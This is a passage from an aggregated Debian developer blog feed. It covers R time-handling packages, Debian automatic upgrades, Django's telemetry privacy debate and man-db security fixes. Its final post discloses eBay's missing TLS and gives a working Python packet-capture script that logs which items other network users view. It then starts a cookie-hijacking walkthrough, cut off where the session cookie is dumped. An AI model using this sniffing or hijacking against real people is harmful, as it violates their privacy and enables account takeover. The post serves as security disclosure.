[1] 2
R> format(x)
[1] "1970-01-01T00:00:00.000000002+00:00"
R>

Vectorised 
R> options("width"=60)
R> v <- nanotime(Sys.time()) + 1:5
R> v
integer64
[1] 1481505724483583001 1481505724483583002
[3] 1481505724483583003 1481505724483583004
[5] 1481505724483583005
R> format(v)
[1] "2016-12-12T01:22:04.483583001+00:00"
[2] "2016-12-12T01:22:04.483583002+00:00"
[3] "2016-12-12T01:22:04.483583003+00:00"
[4] "2016-12-12T01:22:04.483583004+00:00"
[5] "2016-12-12T01:22:04.483583005+00:00"
R>

Use with zoo 
R> z <- zoo(cbind(A=1:5, B=5:1), v)
R> options("nanotimeFormat"="%d %b %H:%M:%E*S")  ## override default
R> z
                          A B
12 Dec 01:47:55.812513001 1 5
12 Dec 01:47:55.812513002 2 4
12 Dec 01:47:55.812513003 3 3
12 Dec 01:47:55.812513004 4 2
12 Dec 01:47:55.812513005 5 1
R>

Technical Details The bit64 package (by Jens Oehlschl gel) supplies the integer64 type used to store the nanosecond resolution time as (positive or negative) offsets to the epoch of January 1, 1970. The RcppCCTZ package supplies the formatting and parsing routines based on the (modern C++) library CCTZ from Google.

Status Version 0.0.1 has now been released. It works with some other packages, notably zoo and data.table. It (at least currently) requires RcppCCTZ to parse and format nanosecond resolution time objects from / to text --- and this package is on Linux and OS X only due to its use of system time zoneinfo. The requirement could be relaxed in the future by rewriting formating and parsing code. Contributions are welcome.

Installation The package is not yet on CRAN. Until it gets there, or to install the development versions, it can also be installed via a standard 
install.packages("RcppCCTZ")   # need 0.1.0 or later
remotes::install_github("eddelbuettel/nanotime")
If you prefer install.packages() (as I do), use the version from the ghrr drat: 
install.packages("drat")       # easier repo access + creation
drat:::add("ghrr")             # make it known
install.packages("nanotime")   # install it
If and when it gets to CRAN you will be able to do 
install.packages("nanotime")

Contact For questions or comments use the issue tracker off the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Michal &#268;iha&#345;: wlc 0.7

wlc 0.7, a command line utility for Weblate, has been just released. There are several new commands like translation file download or statistics fetching. Full list of changes: wlc is built on API introduced in Weblate 2.6 and still being in development, you need Weblate 2.10 for some feature (already available on our hosting offering). You can find usage examples in the wlc documentation.

Filed under: Debian English phpMyAdmin SUSE Weblate 2 comments

14 December 2016

Carl Chenet: Feed2tweet 0.8, tool to post RSS feeds to Twitter, released

Feed2tweet 0.8, a self-hosted Python app to automatically post RSS feeds to the Twitter social network, was released this December, 14th. With this release Feed2tweet now smartly manages the hashtags, adding as much as possible given the size of the tweet. Also 2 new options are available : Feed2tweet 0.8 is already in production for Le Journal du hacker, a French-speaking Hacker News-like website, LinuxJobs.fr, a French-speaking job board and this very blog. fiesta What s the purpose of Feed2tweet? Some online services offer to convert your RSS entries into Twitter posts. Theses services are usually not reliable, slow and don t respect your privacy. Feed2tweet is Python self-hosted app, the source code is easy to read and you can enjoy the official documentation online with lots of examples. Twitter Out Of The Browser Have a look at my Github account for my other Twitter automation tools: What about you? Do you use tools to automate the management of your Twitter account? Feel free to give me feedback in the comments below.

Antoine Beaupr : Debian considering automated upgrades

The Debian project is looking at possibly making automatic minor upgrades to installed packages the default for newly installed systems. While Debian has a reliable and stable package update system that has been an inspiration for multiple operating systems (the venerable APT), upgrades are, usually, a manual process on Debian for most users. The proposal was brought up during the Debian Cloud sprint in November by longtime Debian Developer Steve McIntyre. The rationale was to make sure that users installing Debian in the cloud have a "secure" experience by default, by installing and configuring the unattended-upgrades package within the images. The unattended-upgrades package contains a Python program that automatically performs any pending upgrade and is designed to run unattended. It is roughly the equivalent of doing apt-get update; apt-get upgrade in a cron job, but has special code to handle error conditions, warn about reboots, and selectively upgrade packages. The package was originally written for Ubuntu by Michael Vogt, a longtime Debian developer and Canonical employee. Since there was a concern that Debian cloud images would be different from normal Debian installs, McIntyre suggested installing unattended-upgrades by default on all Debian installs, so that people have a consistent experience inside and outside of the cloud. The discussion that followed was interesting as it brought up key issues one would have when deploying automated upgrade tools, outlining both the benefits and downsides to such systems.

Problems with automated upgrades An issue raised in the following discussion is that automated upgrades may create unscheduled downtime for critical services. For example, certain sites may not be willing to tolerate a master MySQL server rebooting in conditions not controlled by the administrators. The consensus seems to be that experienced administrators will be able to solve this issue on their own, or are already doing so. For example, Noah Meyerhans, a Debian developer, argued that "any reasonably well managed production host is going to be driven by some kind of configuration management system" where competent administrators can override the defaults. Debian, for example, provides the policy-rc.d mechanism to disable service restarts on certain packages out of the box. unattended-upgrades also features a way to disable upgrades on specific packages that administrators would consider too sensitive to restart automatically and will want to schedule during maintenance windows. Reboots were another issue discussed: how and when to deploy kernel upgrades? Automating kernel upgrades may mean data loss if the reboot happens during a critical operation. On Debian systems, the kernel upgrade mechanisms already provide a /var/run/reboot-required flag file that tools can monitor to notify users of the required reboot. For example, some desktop environments will popup a warning prompting users to reboot when the file exists. Debian doesn't currently feature an equivalent warning for command-line operation: Vogt suggested that the warning could be shown along with the usual /etc/motd announcement. The ideal solution here, of course, is reboot-less kernel upgrades, which is also known as "live patching" the kernel. Unfortunately, this area is still in development in the kernel (as was previously discussed here). Canonical deployed the feature for the Ubuntu 16.04 LTS release, but Debian doesn't yet have such capability, since it requires extra infrastructure among other issues. Furthermore, system reboots are only one part of the problem. Currently, upgrading packages only replaces the code and restarts the primary service shipped with a given package. On library upgrades, however, dependent services may not necessarily notice and will keep running with older, possibly vulnerable, libraries. While libc6, in Debian, has special code to restart dependent services, other libraries like libssl do not notify dependent services that they need to restart to benefit from potentially critical security fixes. One solution to this is the needrestart package which inspects all running processes and restarts services as necessary. It also covers interpreted code, specifically Ruby, Python, and Perl. In my experience, however, it can take up to a minute to inspect all processes, which degrades the interactivity of the usually satisfying apt-get install process. Nevertheless, it seems like needrestart is a key component of a properly deployed automated upgrade system.

Benefits of automated upgrades One thing that was less discussed is the actual benefit of automating upgrades. It is merely described as "secure by default" by McIntyre in the proposal, but no one actually expanded on this much. For me, however, it is now obvious that any out-of-date system will be systematically attacked by automated probes and may be taken over to the detriment of the whole internet community, as we are seeing with Internet of Things devices. As Debian Developer Lars Wirzenius said:
The ecosystem-wide security benefits of having Debian systems keep up to date with security updates by default overweigh any inconvenience of having to tweak system configuration on hosts where the automatic updates are problematic.
One could compare automated upgrades with backups: if they are not automated, they do not exist and you will run into trouble without them. (Wirzenius, coincidentally, also works on the Obnam backup software.) Another benefit that may be less obvious is the acceleration of the feedback loop between developers and users: developers like to know quickly when an update creates a regression. Automation does create the risk of a bad update affecting more users, but this issue is already present, to a lesser extent, with manual updates. And the same solution applies: have a staging area for security upgrades, the same way updates to Debian stable are first proposed before shipping a point release. This doesn't have to be limited to stable security updates either: more adventurous users could follow rolling distributions like Debian testing or unstable with unattended upgrades as well, with all the risks and benefits that implies.

Possible non-issues That there was not a backlash against the proposal surprised me: I expected the privacy-sensitive Debian community to react negatively to another "phone home" system as it did with the Django proposal. This, however, is different than a phone home system: it merely leaks package lists and one has to leak that information to get the updated packages. Furthermore, privacy-sensitive administrators can use APT over Tor to fetch packages. In addition, the diversity of the mirror infrastructure makes it difficult for a single entity to profile users. Automated upgrades do imply a culture change, however: administrators approve changes only a posteriori as opposed to deliberately deciding to upgrade parts they chose. I remember a time when I had to maintain proprietary operating systems and was reluctant to enable automated upgrades: such changes could mean degraded functionality or additional spyware. However, this is the free-software world and upgrades generally come with bug fixes and new features, not additional restrictions.

Automating major upgrades? While automating minor upgrades is one part of the solution to the problem of security maintenance, the other is how to deal with major upgrades. Once a release becomes unsupported, security issues may come up and affect older software. While Debian LTS extends releases lifetimes significantly, it merely delays the inevitable major upgrades. In the grand scheme of things, the lifetimes of Linux systems (Debian: 3-5 years, Ubuntu: 1-5 years) versus other operating systems (Solaris: 10-15 years, Windows: 10+ years) is fairly short, which makes major upgrades especially critical. While major upgrades are not currently automated in Debian, they are usually pretty simple: edit sources.list then: 
    # apt-get update && apt-get dist-upgrade
But the actual upgrade process is really much more complex. If you run into problems with the above commands, you will quickly learn that you should have followed the release notes, a whopping 20,000-word, ten-section document that outlines all the gory details of the release. This is a real issue for large deployments and for users unfamiliar with the command line. The solutions most administrators seem to use right now is to roll their own automated upgrade process. For example, the Debian.org system administrators have their own process for the "jessie" (8.0) upgrade. I have also written a specification of how major upgrades could be automated that attempts to take into account the wide variety of corner cases that occur during major upgrades, but it is currently at the design stage. Therefore, this problem space is generally unaddressed in Debian: Ubuntu does have a do-release-upgrade command but it is Ubuntu-specific and would need significant changes in order to work in Debian.

Future work Ubuntu currently defaults to "no automation" but, on install, invites users to enable unattended-upgrades or Landscape, a proprietary system-management service from Canonical. According to Vogt, the company supports both projects equally as they differ in scope: unattended-upgrades just upgrades packages while Landscape aims at maintaining thousands of machines and handles user management, release upgrades, statistics, and aggregation. It appears that Debian will enable unattended-upgrades on the images built for the cloud by default. For regular installs, the consensus that has emerged points at the Debian installer prompting users to ask if they want to disable the feature as well. One reason why this was not enabled before is that unattended-upgrades had serious bugs in the past that made it less attractive. For example, it would simply fail to follow security updates, a major bug that was fortunately promptly fixed by the maintainer. In any case, it is important to distribute security and major upgrades on Debian machines in a timely manner. In my long experience in professionally administering Unix server farms, I have found the upgrade work to be a critical but time-consuming part of my work. During that time, I successfully deployed an automated upgrade system all the way back to Debian woody, using the simpler cron-apt. This approach is, unfortunately, a little brittle and non-standard; it doesn't address the need of automating major upgrades, for which I had to revert to tools like cluster-ssh or more specialized configuration management tools like Puppet. I therefore encourage any effort towards improving that process for the whole community. More information about the configuration of unattended-upgrades can be found in the Ubuntu documentation or the Debian wiki.
Note: this article first appeared in the Linux Weekly News.

Antoine Beaupr : Django debates privacy concern

In recent years, privacy issues have become a growing concern among free-software projects and users. As more and more software tasks become web-based, surveillance and tracking of users is also on the rise. While some software may use advertising as a source of revenue, which has the side effect of monitoring users, the Django community recently got into an interesting debate surrounding a proposal to add user tracking actually developer tracking to the popular Python web framework.

Tracking for funding A novel aspect of this debate is that the initiative comes from concerns of the Django Software Foundation (DSF) about funding. The proposal suggests that "relying on the free labor of volunteers is ineffective, unfair, and risky" and states that "the future of Django depends on our ability to fund its development". In fact, the DSF recently hired an engineer to help oversee Django's development, which has been quite successful in helping the project make timely releases with fewer bugs. Various fundraising efforts have resulted in major new Django features, but it is difficult to attract sponsors without some hard data on the usage of Django. The proposed feature tries to count the number of "unique developers" and gather some metrics of their environments by using Google Analytics (GA) in Django. The actual proposal (DEP 8) is done as a pull request, which is part of Django Enhancement Proposal (DEP) process that is similar in spirit to the Python Enhancement Proposal (PEP) process. DEP 8 was brought forward by a longtime Django developer, Jacob Kaplan-Moss. The rationale is that "if we had clear data on the extent of Django's usage, it would be much easier to approach organizations for funding". The proposal is essentially about adding code in Django to send a certain set of metrics when "developer" commands are run. The system would be "opt-out", enabled by default unless turned off, although the developer would be warned the first time the phone-home system is used. The proposal notes that an opt-in system "severely undercounts" and is therefore not considered "substantially better than a community survey" that the DSF is already doing.

Information gathered The pieces of information reported are specifically designed to run only in a developer's environment and not in production. The metrics identified are, at the time of writing:
  • an event category (the developer commands: startproject, startapp, runserver)
  • the HTTP User-Agent string identifying the Django, Python, and OS versions
  • a user-specific unique identifier (a UUID generated on first run)
The proposal mentions the use of the GA aip flag which, according to GA documentation, makes "the IP address of the sender 'anonymized'". It is not quite clear how that is done at Google and, given that it is a proprietary platform, there is no way to verify that claim. The proposal says it means that "we can't see, and Google Analytics doesn't store, your actual IP". But that is not actually what Google does: GA stores IP addresses, the documentation just says they are anonymized, without explaining how. GA is presented as a trade-off, since "Google's track record indicates that they don't value privacy nearly as high" as the DSF does. The alternative, deploying its own analytics software, was presented as making sustainability problems worse. According to the proposal, Google "can't track Django users. [...] The only thing Google could do would be to lie about anonymizing IP addresses, and attempt to match users based on their IPs". The truth is that we don't actually know what Google means when it "anonymizes" data: Jannis Leidel, a Django team member, commented that "Google has previously been subjected to secret US court orders and was required to collaborate in mass surveillance conducted by US intelligence services" that limit even Google's capacity of ensuring its users' anonymity. Leidel also argued that the legal framework of the US may not apply elsewhere in the world: "for example the strict German (and by extension EU) privacy laws would exclude the automatic opt-in as a lawful option". Furthermore, the proposal claims that "if we discovered Google was lying about this, we'd obviously stop using them immediately", but it is unclear exactly how this could be implemented if the software was already deployed. There are also concerns that an implementation could block normal operation, especially in countries (like China) where Google itself may be blocked. Finally, some expressed concerns that the information could constitute a security problem, since it would unduly expose the version number of Django that is running.

In other projects Django is certainly not the first project to consider implementing analytics to get more information about its users. The proposal is largely inspired by a similar system implemented by the OS X Homebrew package manager, which has its own opt-out analytics. Other projects embed GA code directly in their web pages. This is apparently the option chosen by the Oscar Django-based ecommerce solution, but that was seen by the DSF as less useful since it would count Django administrators and wasn't seen as useful as counting developers. Wagtail, a Django-based content-management system, was incorrectly identified as using GA directly, as well. It actually uses referrer information to identify installed domains through the version updates checks, with opt-out. Wagtail didn't use GA because the project wanted only minimal data and it was worried about users' reactions. NPM, the JavaScript package manager, also considered similar tracking extensions. Laurie Voss, the co-founder of NPM, said it decided to completely avoid phoning home, because "users would absolutely hate it". But NPM users are constantly downloading packages to rebuild applications from scratch, so it has more complete usage metrics, which are aggregated and available via a public API. NPM users seem to find this is a "reasonable utility/privacy trade". Some NPM packages do phone home and have seen "very mixed" feedback from users, Voss said. Eric Holscher, co-founder of Read the Docs, said the project is considering using Sentry for centralized reporting, which is a different idea, but interesting considering Sentry is fully open source. So even though it is a commercial service (as opposed to the closed-source Google Analytics), it may be possible to verify any anonymity claims.

Debian's response Since Django is shipped with Debian, one concern was the reaction of the distribution to the change. Indeed, "major distros' positions would be very important for public reception" to the feature, another developer stated. One of the current maintainers of Django in Debian, Rapha l Hertzog, explicitly stated from the start that such a system would "likely be disabled by default in Debian". There were two short discussions on Debian mailing lists where the overall consensus seemed to be that any opt-out tracking code was undesirable in Debian, especially if it was aimed at Google servers. I have done some research to see what, exactly, was acceptable as a phone-home system in the Debian community. My research has revealed ten distinct bug reports against packages that would unexpectedly connect to the network, most of which were not directly about collecting statistics but more often about checking for new versions. In most cases I found, the feature was disabled. In the case of version checks, it seems right for Debian to disable the feature, because the package cannot upgrade itself: that task is delegated to the package manager. One of those issues was the infamous "OK Google" voice activation binary blog controversy that was previously reported here and has since then been fixed (although other issues remain in Chromium). I have also found out that there is no clearly defined policy in Debian regarding tracking software. What I have found, however, is that there seems to be a strong consensus in Debian that any tracking is unacceptable. This is, for example, an extract of a policy that was drafted (but never formally adopted) by Ian Jackson, a longtime Debian developer:
Software in Debian should not communicate over the network except: in order to, and as necessary to, perform their function[...]; or for other purposes with explicit permission from the user.
In other words, opt-in only, period. Jackson explained that "when we originally wrote the core of the policy documents, the DFSG [Debian Free Software Guidelines], the SC [Social Contract], and so on, no-one would have considered this behaviour acceptable", which explains why no explicit formal policy has been adopted yet in the Debian project. One of the concerns with opt-out systems (or even prompts that default to opt-in) was well explained back then by Debian developer Bas Wijnen:
It very much resembles having to click through a license for every package you install. One of the nice things about Debian is that the user doesn't need to worry about such things: Debian makes sure things are fine.
One could argue that Debian has its own tracking systems. For example, by default, Debian will "phone home" through the APT update system (though it only reports the packages requested). However, this is currently not automated by default, although there are plans to do so soon. Furthermore, Debian members do not consider APT as tracking, because it needs to connect to the network to accomplish its primary function. Since there are multiple distributed mirrors (which the user gets to choose when installing), the risk of surveillance and tracking is also greatly reduced. A better parallel could be drawn with Debian's popcon system, which actually tracks Debian installations, including package lists. But as Barry Warsaw pointed out in that discussion, "popcon is 'opt-in' and [...] the overwhelming majority in Debian is in favour of it in contrast to 'opt-out'". It should be noted that popcon, while opt-in, defaults to "yes" if users click through the install process. [Update: As pointed out in the comments, popcon actually defaults to "no" in Debian.] There are around 200,000 submissions at this time, which are tracked with machine-specific unique identifiers that are submitted daily. Ubuntu, which also uses the popcon software, gets around 2.8 million daily submissions, while Canonical estimates there are 40 million desktop users of Ubuntu. This would mean there is about an order of magnitude more installations than what is reported by popcon. Policy aside, Warsaw explained that "Debian has a reputation for taking privacy issues very serious and likes to keep it".

Next steps There are obviously disagreements within the Django project about how to handle this problem. It looks like the phone-home system may end up being implemented as a proxy system "which would allow us to strip IP addresses instead of relying on Google to anonymize them, or to anonymize them ourselves", another Django developer, Aymeric Augustin, said. Augustin also stated that the feature wouldn't "land before Django drops support for Python 2", which is currently estimated to be around 2020. It is unclear, then, how the proposal would resolve the funding issues, considering how long it would take to deploy the change and then collect the information so that it can be used to spur the funding efforts. It also seems the system may explicitly prompt the user, with an opt-out default, instead of just splashing a warning or privacy agreement without a prompt. As Shai Berger, another Django contributor, stated, "you do not get [those] kind of numbers in community surveys". Berger also made the argument that "we trust the community to give back without being forced to do so"; furthermore:
I don't believe the increase we might get in the number of reports by making it harder to opt-out, can be worth the ill-will generated for people who might feel the reporting was "sneaked" upon them, or even those who feel they were nagged into participation rather than choosing to participate.
Other options may also include gathering metrics in pip or PyPI, which was proposed by Donald Stufft. Leidel also proposed that the system could ask to opt-in only after a few times the commands are called. It is encouraging to see that a community can discuss such issues without heating up too much and shows great maturity for the Django project. Every free-software project may be confronted with funding and sustainability issues. Django seems to be trying to address this in a transparent way. The project is willing to engage with the whole spectrum of the community, from the top leaders to downstream distributors, including individual developers. This practice should serve as a model, if not of how to do funding or tracking, at least of how to discuss those issues productively. Everyone seems to agree the point is not to surveil users, but improve the software. As Lars Wirzenius, a Debian developer, commented: "it's a very sad situation if free software projects have to compromise on privacy to get funded". Hopefully, Django will be able to improve its funding without compromising its principles.
Note: this article first appeared in the Linux Weekly News.

Dirk Eddelbuettel: anytime 0.1.2: Another bugfix

Another update, now at release 0.1.2, of anytime arrived at CRAN earlier today. anytime is a very focused package aiming to do just one thing really well: to convert anything in integer, numeric, character, factor, ordered, ... format to either POSIXct or Date objects -- and to do so without requiring a format string. See the anytime page, or the GitHub README.md for a few examples, or just consider the following illustration: 
R> library(anytime)
R> anytime("20161107 202122")   ## all digits
[1] "2016-11-07 20:21:22 CST"
R> utctime("2016Nov07 202122")  ## UTC parse example
[1] "2016-11-07 14:21:22 CST"
R>
Release 0.1.2 addresses a somewhat bizarre Windows-only bug reported at GitHub in #33 and at StackOverflow. Formats of the %Y-%b-%d form, ie 2016-Dec-12 for today would fail on Windows as the contiguous string was apparently getting split by a routine looking for splits on spaces. Really strange. Anyway, I switched to using more helper functions from the Boost String Algorithms library, and things are behaving now. An extra shoutout once more to G bor Cs rdi and the R Consortium for the most awesome R-Builder. I was able to test and fix on Windows during the weekend with no access to an actual windows environment. The NEWS file summarises the release:

Changes in anytime version 0.1.2 (2016-12-13)
  • The (internal) string processing and splitting now uses Boost algorithm functions which avoids a (bizarre) bug on Windows.
  • Test coverage was increased.

Courtesy of CRANberries, there is a comparison to the previous release. More information is on the anytime page. For questions or comments use the issue tracker off the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

12 December 2016

Dirk Eddelbuettel: RcppCCTZ 0.1.0

A new version 0.1.0 of RcppCCTZ arrived on CRAN this morning. It brings a number of new or updated things, starting with new upstream code from CCTZ as well as a few new utility functions. CCTZ is a C++ library for translating between absolute and civil times using the rules of a time zone. In fact, it is two libraries. One for dealing with civil time: human-readable dates and times, and one for converting between between absolute and civil times via time zones. It requires only a proper C++11 compiler and the standard IANA time zone data base which standard Unix, Linux, OS X, ... computers tend to have in /usr/share/zoneinfo. RcppCCTZ connects this library to R by relying on Rcpp. A nice example is the helloMoon() function (based on an introductory example in the CCTZ documentation) showing the time when Neil Armstrong took a small step, relative to local time in New York and Sydney: 
R> library(RcppCCTZ)
R> helloMoon(verbose=TRUE)
1969-07-20 22:56:00 -0400
1969-07-21 12:56:00 +1000
                   New_York                      Sydney 
"1969-07-20 22:56:00 -0400" "1969-07-21 12:56:00 +1000" 
R>
The new formating and parsing functions are illustrated below with default arguments for format strings and timezones. All this can be customized as usual. 
R> example(formatDatetime)
frmtDtR> now <- Sys.time()
frmtDtR> formatDatetime(now)            # current (UTC) time, in full precision RFC3339
[1] "2016-12-12T13:21:03.866711+00:00"
frmtDtR> formatDatetime(now, tgttzstr="America/New_York")  # same but in NY
[1] "2016-12-12T08:21:03.866711-05:00"
frmtDtR> formatDatetime(now + 0:4)     # vectorised
[1] "2016-12-12T13:21:03.866711+00:00" "2016-12-12T13:21:04.866711+00:00" "2016-12-12T13:21:05.866711+00:00"
[4] "2016-12-12T13:21:06.866711+00:00" "2016-12-12T13:21:07.866711+00:00"
R> example(parseDatetime)
prsDttR> ds <- getOption("digits.secs")
prsDttR> options(digits.secs=6) # max value
prsDttR> parseDatetime("2016-12-07 10:11:12",        "%Y-%m-%d %H:%M:%S");   # full seconds
[1] "2016-12-07 04:11:12 CST"
prsDttR> parseDatetime("2016-12-07 10:11:12.123456", "%Y-%m-%d %H:%M:%E*S"); # fractional seconds
[1] "2016-12-07 04:11:12.123456 CST"
prsDttR> parseDatetime("2016-12-07T10:11:12.123456-00:00")  ## default RFC3339 format
[1] "2016-12-07 04:11:12.123456 CST"
prsDttR> now <- trunc(Sys.time())
prsDttR> parseDatetime(formatDatetime(now + 0:4))               # vectorised
[1] "2016-12-12 07:21:17 CST" "2016-12-12 07:21:18 CST" "2016-12-12 07:21:19 CST"
[4] "2016-12-12 07:21:20 CST" "2016-12-12 07:21:21 CST"
prsDttR> options(digits.secs=ds)
R>
Changes in this version are summarized here:

Changes in version 0.1.0 (2016-12-11)
  • Synchronized with CCTZ upstream.
  • New parsing and formating helpers for Datetime vectors
  • New parsing and formating helpers for (two) double vectors representing full std::chrono nanosecond resolutions
  • Updated documentation and examples.

We also have a diff to the previous version thanks to CRANberries. More details are at the RcppCCTZ page; code, issue tickets etc at the GitHub repository.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

11 December 2016

Colin Watson: The sad tale of CVE-2015-1336

Today I released man-db 2.7.6 (announcement, NEWS, git log), and uploaded it to Debian unstable. The major change in this release was a set of fixes for two security vulnerabilities, one of which affected all man-db installations since 2.3.12 (or 2.3.10-66 in Debian), and the other of which was specific to Debian and its derivatives. It s probably obvious from the dates here that this has not been my finest hour in terms of responding to security issues in a timely fashion, and I apologise for that. Some of this is just the usual life reasons, which I shan t bore you by reciting, but some of it has been that fixing this properly in man-db was genuinely rather complicated and delicate. Since I ve previously advocated man-db over some of its competitors on the basis of a better security posture, I think it behooves me to write up a longer description. I took over maintaining man-db over fifteen years ago in slightly unexpected circumstances (I got annoyed with its bug list and made a couple of non-maintainer uploads, and then the previous maintainer died, so I ended up taking over both in Debian and upstream). I was a fairly new developer at the time, and there weren t a lot of people I could ask questions of, but I did my best to recover as much of the history as I could and learn from it. One thing that became clear very quickly, both from my own inspection and from the bug list, was that most of the code had been written in a rather more innocent time. It was absolutely riddled with dangerous uses of the shell, poor temporary file handling, buffer overruns, and various common-or-garden deficiencies of that kind. I spent several years reworking large swathes of the codebase to be more robust against those kinds of bugs by design, and for example libpipeline came out of that effort. The most subtle and risky set of problems came from the fact that the man and mandb programs were installed set-user-id to the man user. Part of this was so that man could maintain preformatted cat pages , and part of it was so that users could run mandb if the system databases were out of date (this is now much less useful since most package managers, including dpkg, support some kind of trigger mechanism that can run mandb whenever new system-level manual pages are installed). One of the first things I did was to make this optional, and this has been a disabled-by-default debconf option in Debian for a long time now. But it s still a supported option and is enabled by default upstream, and when running setuid man and mandb need to take care to drop privileges when dealing with user-controlled data and to write files with the appropriate ownership and permissions. My predecessor had problems related to this such as Debian #26002, and one of the ways they dealt with them was to make /var/cache/man/ set-group-id root, in order that files written to that directory would have consistent group ownership. This always struck me as rather strange and I meant to do something about it at some point, but until the first vulnerability report above I regarded it as mainly a curiosity, since nothing in there was group-writeable anyway. As a result, with the more immediate aim of making the system behave consistently and dealing with bug reports, various bits of code had accreted that assumed that /var/cache/man/ would be man:root 2755, and not all of it was immediately obvious. This interacted with the second vulnerability report in two ways. Firstly, at some level it caused it because I was dealing with the day-to-day problems rather than thinking at a higher level: a series of bugs led me down the path of whacking problems over the head with a recursive chown of /var/cache/man/ from cron, rather than working out why things got that way in the first place. Secondly, once I d done that, I couldn t remove the chown without a much more extensive excursion into all the code that dealt with cache files, for fear of reintroducing those bugs. So although the fix for the second vulnerability is very simple in itself, I couldn t get there without dealing with the first vulnerability. In some ways, of course, cat pages are a bit of an anachronism. Most modern systems can format pages quickly enough that it s not much of an issue. However, I m loath to drop the feature entirely: I m generally wary of assuming that just because I have a fast system that everyone does. So, instead, I did what I should have done years ago: make man and mandb set-group-id man as well as set-user-id man, at which point we can simply make all the cache files and directories be owned by man:man and drop the setgid bit on cache directories. This should be simpler and less prone to difficult-to-understand problems. I expect that my next substantial upstream release will switch to --disable-setuid by default to reduce exposure, though, and distributions can start thinking about whether they want to follow that (Fedora already does, for example). If this becomes widely disabled without complaints then that would be good evidence that it s reasonable to drop the feature entirely. I m not in a rush, but if you do need cat pages then now is a good time to write to me and tell me why. This is the fiddliest set of vulnerabilities I ve dealt with in man-db for quite some time, so I hope that if there are more then I can get back to my previous quick response time.

10 December 2016

Iain R. Learmonth: The Internet of Dangerous Auction Sites

It might be that the internet era of fun and games is over, because the internet is now dangerous. Bruce Schneier
Ok, I know this is kind of old news now, but Bruce Schneier gave testimony to the House of Representatives Energy & Commerce Committee about computer security after the Dyn attack. I m including this quote because I feel it sets the scene nicely for what follows here. Last week, I was browsing the popular online auction site eBay and I noticed that there was no TLS. For a moment, I considered that maybe my traffic was being intercepted deliberately, there s no way that eBay as a global company would be deliberately risking users in this way. I was wrong. There is not and has never been TLS for large swathes of the eBay site. In fact, the only point at which I ve found TLS is in their help pages and when it comes to entering card details (although it ll give you back the last 4 digits of your card over a plaintext channel). 
sudo apt install wireshark
# You'll want to allow non-root users to perform capture
sudo adduser  whoami  wireshark
# Log out and in again to assume the privileges you've granted yourself
What can you see? They first thing I d like to call eBay on is a statement in their webpage about Cookies, Web Beacons, and Similar Technologies:
We don t store any of your personal information on any of our cookies or other similar technologies.
Well eBay, I don t know about you, but for me my name is personal information. Ana, who investigated this with me, also confirmed that her name was present on her cookie when using her account. But to answer the question, you can see pretty much everything. Using the Observer module of PATHspider, which is essentially a programmable flow meter, let s take a look at what items users of the network are browsing: 
sudo apt install pathspider
The following is a Python 3 script that you ll need to run as root (for packet capturing) and will need to kill with ^C when you re done because I didn t give it an exit condition: 
import logging
import queue
import threading
import email
import re
from io import StringIO
import plt
from pathspider.observer import Observer
from pathspider.observer import basic_flow
from pathspider.observer.tcp import tcp_setup
from pathspider.observer.tcp import tcp_handshake
from pathspider.observer.tcp import tcp_complete
def tcp_reasm_setup(rec, ip):
        rec['payload'] = b''
        return True
def tcp_reasm(rec, tcp, rev):
        if not rev and tcp.payload is not None:
                rec['payload'] += tcp.payload.data
        return True
lturi = "int:wlp3s0" # CHANGE THIS TO YOUR NETWORK INTERFACE
logging.getLogger().setLevel(logging.INFO)
logger = logging.getLogger(__name__)
ebay_itm = re.compile("(?:item= itm(?:\/[^0-9][^\/]+)?\/)([0-9]+)")
o = Observer(lturi,
             new_flow_chain=[basic_flow, tcp_setup, tcp_reasm_setup],
             tcp_chain=[tcp_handshake, tcp_complete, tcp_reasm])
q = queue.Queue()
t = threading.Thread(target=o.run_flow_enqueuer,
                     args=(q,),
                     daemon=True)
t.start()
while True:
    f = q.get()
    # www.ebay.co.uk uses keep alive for connections, multiple requests
    # may be in a single flow
    requests = [x + b'\r\n' for x in f['payload'].split(b'\r\n\r\n')]
    for request in requests:
        if request.startswith(b'GET '):
            request_text = request.decode('ascii')
            request_line, headers_alone = request_text.split('\r\n', 1)
            headers = email.message_from_file(StringIO(headers_alone))
            if headers['Host'] != "www.ebay.co.uk":
                break
            itm = ebay_itm.search(request_line)
            if itm is not None and len(itm.groups()) > 0 and itm.group(1) is not None:
                logging.info("%s viewed item %s", f['sip'],
                             "http://www.ebay.co.uk/itm/" + itm.group(1))
Note: PATHspider s Observer won t emit a flow until it is completed, so you may have to close your browser in order for the TCP connection to be closed as eBay does use Connection: keep-alive. If all is working correctly (if it was really working correctly, it wouldn t be working because the connections would be encrypted, but you get what I mean ), you ll see something like: 
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/192045666116
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/161990905666
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/311756208540
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/131911806454
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/192045666116
It is left as an exercise to the reader to map the IP addresses to users. You do however have the hint that the first name of the user is in the cookie. This was a very simple example, you can also passively sniff the content of messages sent and recieved on eBay (though I ll admit email has the same flaw in a large number of cases) and you can also see the purchase history and cart contents when those screens are viewed. Ana also pointed out that when you browse for items at home, eBay may recommend you similar items and then those recommendations would also be available to anyone viewing the traffic at your workplace. Perhaps you want to see the purchase history but you re too impatient to wait for the user to view the purchase history screen. Don t worry, this is also possible. Three researchers from the Department of Computer Science at Columbia University, New York published a paper earlier this year titled The Cracked Cookie Jar: HTTP Cookie Hijacking and the Exposure of Private Information. In this paper, they talk about hijacking cookies using packet capture tools and then using the cookies to impersonate users when making requests to websites. They also detail in this paper a number of concerning websites that are vulnerable, including eBay. Yes, it s 2016, nearly 2017, and cookie hijacking is still a thing. You may remember Firesheep, a Firefox plugin, that could be used to hijack Facebook, Twitter, Flickr and other websites. It was released in October 2010 as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process. Six years later and eBay has not yet listened. So what is cookie hijacking all about? Let s get hands on. This time, instead of looking at the request line, look at the Cookie header. Just dump that out. Something like: 
print(headers['Cookie'])
